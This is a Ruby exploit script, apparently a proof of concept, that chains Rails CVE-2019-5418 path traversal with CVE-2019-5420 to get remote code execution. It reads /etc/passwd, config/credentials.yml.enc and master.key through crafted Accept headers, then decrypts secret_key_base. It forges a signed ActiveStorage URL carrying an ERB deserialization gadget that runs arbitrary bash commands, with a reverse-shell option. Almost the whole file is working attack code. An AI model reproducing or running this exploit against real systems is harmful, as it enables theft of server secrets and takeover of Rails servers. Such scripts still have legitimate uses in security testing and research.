require 'erb' require "./demo-5.2.1/config/environment" require "base64" require 'net/http' $proxy_addr = '127.0.0.1' $proxy_port = 8080 $remote = "http://172.18.0.3:3000" $ressource = "/demo" puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n" print "[+] Checking if vulnerable to CVE-2019-5418 => " uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = "../../../../../../../../../../etc/passwd{{" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.body.include? "root:x:0:0:root:" puts "\033[92mOK\033[0m" else puts "KO" abort end print "[+] Getting file => credentials.yml.enc => " path = "../../../../../../../../../../config/credentials.yml.enc{{" for $i in 0..9 uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = path[3..57] res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "200" puts "\033[92mOK\033[0m" File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) } break end path = path[3..57] $i +=1; end print "[+] Getting file => master.key => " path = "../../../../../../../../../../config/master.key{{" for $i in 0..9 uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = path[3..57] res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "200" puts "\033[92mOK\033[0m" File.open("master.key", 'w') { |file| file.write(res.body) } break end path = path[3..57] $i +=1; end print "[+] Decrypt secret_key_base => " credentials_config_path = File.join("../", "credentials.yml.enc") credentials_key_path = File.join("../", "master.key") ENV["RAILS_MASTER_KEY"] = res.body credentials = ActiveSupport::EncryptedConfiguration.new( config_path: Rails.root.join(credentials_config_path), key_path: Rails.root.join(credentials_key_path), env_key: "RAILS_MASTER_KEY", raise_if_missing_key: true ) if credentials.secret_key_base != nil puts "\033[92mOK\033[0m" puts "" puts "secret_key_base": credentials.secret_key_base puts "" end puts "[+] Getting reflective command (R) or reverse shell (S) => " loop do begin input = [(print 'Select option R or S: '), gets.rstrip][1] if input == "R" puts "Reflective command selected" command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1] elsif input == "S" puts "Reverse shell selected" command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1] else puts "No option selected" abort end command_b64 = Base64.encode64(command) print "[+] Generating payload CVE-2019-5420 => " secret_key_base = credentials.secret_key_base key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) secret = key_generator.generate_key("ActiveStorage") verifier = ActiveSupport::MessageVerifier.new(secret) if input == "R" code = "system('bash','-c','" + command + " > /tmp/result.txt')" else code = "system('bash','-c','" + command + "')" end erb = ERB.allocate erb.instance_variable_set :@src, code erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result puts "\033[92mOK\033[0m" puts "" url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test" puts url puts "" print "[+] Sending request => " uri = URI(url) req = Net::HTTP::Get.new(uri) req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "500" puts "\033[92mOK\033[0m" else puts "KO" abort end if input == "R" print "[+] Getting result of command => " uri = URI($remote + $ressource) req = Net::HTTP::Get.new(uri) req['Accept'] = "../../../../../../../../../../tmp/result.txt{{" res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| http.request(req) } if res.code == "200" puts "\033[92mOK\033[0m\n\n" puts res.body puts "\n" else puts "KO" abort end end rescue Exception => e puts "Exiting..." abort end end